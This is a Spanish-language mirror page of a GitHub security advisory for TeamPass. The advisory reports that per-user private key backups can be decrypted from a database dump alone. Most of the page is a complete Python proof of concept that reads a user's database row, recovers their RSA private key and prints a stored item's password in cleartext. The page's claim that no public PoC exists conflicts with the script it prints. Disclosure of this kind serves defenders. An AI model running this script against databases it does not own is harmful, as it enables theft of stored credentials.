GHSA-FV78-JWJV-PJ25
Implementation of private key re-encryption on password change results in secret extraction from a database dump without secret file
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-FV78-JWJV-PJ25 divulgada · CVSS 5.9 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
Per-user private backup keys seem to break the expected at-rest security model of Teampass, resulting in a database backup containing everything an attacker needs to decrypt all secrets viewable by a user who has a private backup key set.
### Details
The implementation of the `private_backup_key` feature uses data contained entirely in the database to update the private key. This seems to violate my expectation that a dump of the database alone would result in the extraction of all encrypted passwords, and that without the contents of the secret file, the dump would be of limited value. This self-contained encryption starts at line 5303 in `main.functions.php`.
Since the built-in `TP` user already seems to have an encrypted object key for each object, would it not be far less risky to re-encrypt the per-user object keys through that mechanism, which seems to rely on the file-system stored secret?
### PoC
This POC was generated by Claude.
#!/usr/bin/env python3
"""
PoC: decrypt a single TeamPass item using ONLY fields already present in a
`teampass_users` database row (the `private_key_backup` transparent-recovery
material), bypassing the item owner's login/LDAP password entirely.
Purpose: demonstrate that `deriveBackupKey()` (app/sources/main.functions.php)
is fully computable from `user_derivation_seed` + `public_key`, both plaintext
columns in the same row, plus a non-secret PBKDF2 iteration count. No
password, LDAP secret, or filesystem access (TEAMPASS_SECRETS/SECUREFILE) is
required to recover the RSA private key and, from it, any item the user holds
a sharekey for.
Scope/intent: for use ONLY against a TeamPass instance/database you own or
are explicitly authorized to test (e.g. your own staging DB), to validate a
finding before writing it up. It decrypts exactly one named item — it is not
a bulk-extraction tool.
Handles both item ciphertext formats: legacy AES-128-CBC (pw_iv='') and the
opt-in AES-256-GCM v2 format (pw_iv set, requires `aes_v2_write_enabled=1`).
Requires: pip install pymysql pycryptodome
Usage:
python3 poc_decrypt_item.py \
--host 127.0.0.1 --user root --password '...' --db teampass \
--user-id 5 --item-id 42
# If the admin changed Settings > ... > transparent key recovery iterations:
python3 poc_decrypt_item.py ... --pbkdf2-iterations 100000
"""
import argparse
import base64
import hashlib
import hmac
import sys
import pymysql
from Crypto.Cipher import AES
from Crypto.Hash import SHA1, SHA256
from Crypto.Protocol.KDF import PBKDF2
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Signature.pss import MGF1
from Crypto.Util.Padding import unpad
ZERO_IV = b"\x00" * 16
AES_V2_HKDF_INFO = b"teampass-item-v2"
AES_V2_PBKDF2_ITERATIONS = 600000
def pbkdf2_key(password: bytes, salt: bytes, hash_module, iterations: int, dklen: int) -> bytes:
return PBKDF2(password, salt, dkLen=dklen, count=iterations, hmac_hash_module=hash_module)
def legacy_aes_decrypt(ciphertext: bytes, password: bytes, hash_module) -> bytes:
"""
Mirrors CryptoManager::aesEncrypt/aesDecrypt() 'cbc' mode exactly:
key = PBKDF2(password, salt=b"phpseclib/salt", iterations=1000, dklen=16) [SHA1 or SHA256]
iv = 16 zero bytes (fixed, never random)
Note this is AES-128-CBC, not AES-256: phpseclib3's setPassword() is never
followed by setKeyLength(), so the class default (16-byte key) applies
regardless of the PBKDF2 iteration count used to derive it.
"""
key = pbkdf2_key(password, b"phpseclib/salt", hash_module, 1000, 16)
cipher = AES.new(key, AES.MODE_CBC, ZERO_IV)
return unpad(cipher.decrypt(ciphertext), AES.block_size)
def derive_backup_key(user_seed_hex: str, public_key_b64: str, iterations: int) -> bytes:
"""
Mirrors deriveBackupKey() (main.functions.php ~5729):
salt = SHA256(public_key) [both inputs are plaintext DB columns]
key = PBKDF2-HMAC-SHA256(seed_bytes, salt, iterations, dklen=32)
"""
seed_bytes = bytes.fromhex(user_seed_hex)
salt = hashlib.sha256(public_key_b64.encode()).digest()
return pbkdf2_key(seed_bytes, salt, SHA256, iterations, 32)
def hkdf_sha256(ikm: bytes, salt: bytes, info: bytes, length: int = 32) -> bytes:
"""RFC 5869 HKDF-SHA256, matching PHP's hash_hkdf('sha256', $ikm, $length, $info, $salt)."""
prk = hmac.new(salt, ikm, hashlib.sha256).digest()
okm, t, counter = b"", b"", 1
while len(okm) < length:
t = hmac.new(prk, t + info + bytes([counter]), hashlib.sha256).digest()
okm += t
counter += 1
return okm[:length]
def gcm_decrypt(ciphertext_and_tag: bytes, meta: bytes, key_material: bytes, kdf: str = "hkdf") -> bytes:
"""
Mirrors CryptoManager::aesGcmDecrypt() exactly (AES-v2 format, opt-in via
the `aes_v2_write_enabled` setting):
meta = version[1] || nonce[12] || salt[32] (45 raw bytes, base64 in pw_iv)
ciphertext = ciphertext || tag[16] (tag appended, base64 in pw)
key = HKDF-SHA256(key_material, salt, info=b"teampass-item-v2", 32) [items/fields, kdf='hkdf']
= PBKDF2-SHA256(key_material, salt, 600000, 32) [private keys, kdf='pbkdf2']
"""
if len(meta) < 1 + 12 + 32:
raise ValueError("Invalid AES v2 meta (too short)")
version = meta[0]
if version != 2:
raise ValueError(f"Unsupported AES v2 version: {version}")
nonce = meta[1:13]
salt = meta[13:45]
if len(ciphertext_and_tag) < 16:
raise ValueError("Invalid AES v2 ciphertext (too short)")
tag = ciphertext_and_tag[-16:]
ciphertext = ciphertext_and_tag[:-16]
if kdf == "hkdf":
key = hkdf_sha256(key_material, salt, AES_V2_HKDF_INFO, 32)
elif kdf == "pbkdf2":
key = pbkdf2_key(key_material, salt, SHA256, AES_V2_PBKDF2_ITERATIONS, 32)
else:
raise ValueError(f"Unknown kdf: {kdf}")
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
return cipher.decrypt_and_verify(ciphertext, tag)
def rsa_oaep_decrypt(ciphertext: bytes, private_key_pem: bytes, encryption_version: int) -> bytes:
key = RSA.import_key(private_key_pem)
hash_module = SHA256 if encryption_version == 3 else SHA1
cipher = PKCS1_OAEP.new(
key,
hashAlgo=hash_module,
mgfunc=lambda x, y: MGF1(x, y, hash_module),
)
return cipher.decrypt(ciphertext)
def main():
parser = argparse.ArgumentParser(
description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("--host", required=True)
parser.add_argument("--port", type=int, default=3306)
parser.add_argument("--user", required=True, help="MySQL username")
parser.add_argument("--password", required=True, help="MySQL password")
parser.add_argument("--db", required=True, help="TeamPass database name")
parser.add_argument("--prefix", default="teampass_", help="Table prefix (DB_PREFIX in settings.php)")
parser.add_argument("--user-id", type=int, required=True, help="teampass_users.id of the item's key owner")
parser.add_argument("--item-id", type=int, required=True, help="teampass_items.id to decrypt")
parser.add_argument(
"--pbkdf2-iterations", type=int, default=100000,
help="transparent_key_recovery_pbkdf2_iterations setting (default 100000)",
)
args = parser.parse_args()
conn = pymysql.connect(
host=args.host, port=args.port, user=args.user, password=args.password,
database=args.db, cursorclass=pymysql.cursors.DictCursor,
)
try:
with conn.cursor() as cur:
cur.execute(
f"SELECT public_key, user_derivation_seed, private_key_backup "
f"FROM {args.prefix}users WHERE id=%s",
(args.user_id,),
)
user_row = cur.fetchone()
if not user_row:
sys.exit(f"No user with id={args.user_id}")
if not user_row["user_derivation_seed"] or not user_row["private_key_backup"]:
sys.exit(
"This user has no transparent-recovery backup material "
"(pre-existing/legacy account, or it was already consumed by a manual "
"recovery) - this PoC path does not apply to them."
)
cur.execute(
f"SELECT share_key, encryption_version FROM {args.prefix}sharekeys_items "
f"WHERE object_id=%s AND user_id=%s",
(args.item_id, args.user_id),
)
share_row = cur.fetchone()
if not share_row:
sys.exit(
f"No sharekey for item {args.item_id} / user {args.user_id} - "
f"this user cannot read this item (or the background fan-out hasn't run yet)."
)
cur.execute(
f"SELECT pw, pw_iv, label FROM {args.prefix}items WHERE id=%s",
(args.item_id,),
)
item_row = cur.fetchone()
if not item_row:
sys.exit(f"No item with id={args.item_id}")
finally:
conn.close()
# 1. Recompute the backup key - inputs are both plaintext columns on the same row.
# No password, LDAP secret, or SECUREFILE access used anywhere in this step.
backup_key = derive_backup_key(
user_row["user_derivation_seed"], user_row["public_key"], args.pbkdf2_iterations
)
# 2. Decrypt the RSA private key backup with the recomputed key.
private_key_pem = legacy_aes_decrypt(
base64.b64decode(user_row["private_key_backup"]), backup_key, hash_module=SHA256
)
print("[+] Recovered RSA private key (PEM):")
print(private_key_pem.decode(errors="replace"))
# 3. RSA-OAEP decrypt the item's sharekey to recover the AES objectKey
# (stored/used as the raw ASCII bytes of a 64-char hex string).
object_key = rsa_oaep_decrypt(
base64.b64decode(share_row["share_key"]), private_key_pem, share_row["encryption_version"]
)
print(f"[+] Recovered objectKey: {object_key.decode(errors='replace')}")
# 4. AES-decrypt the item's password with the objectKey.
# pw_iv is empty for legacy CBC items, or a base64 'meta' blob (version||nonce||salt)
# for instances with aes_v2_write_enabled=1 (AES-256-GCM).
if item_row["pw_iv"]:
meta = base64.b64decode(item_row["pw_iv"])
ciphertext_and_tag = base64.b64decode(item_row["pw"])
plaintext = gcm_decrypt(ciphertext_and_tag, meta, object_key, kdf="hkdf")
else:
plaintext = legacy_aes_decrypt(base64.b64decode(item_row["pw"]), object_key, hash_module=SHA1)
print(f"[+] Item '{item_row['label']}' decrypted password: {plaintext.decode(errors='replace')}")
if __name__ == "__main__":
main()### Impact
Anybody who is doing plaintext backups of their database to an improperly secured location.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistnilsteampassnet/teampass |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nilsteampassnet/TeamPass/security/advisories/GHSA-fv78-jwjv-pj25Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
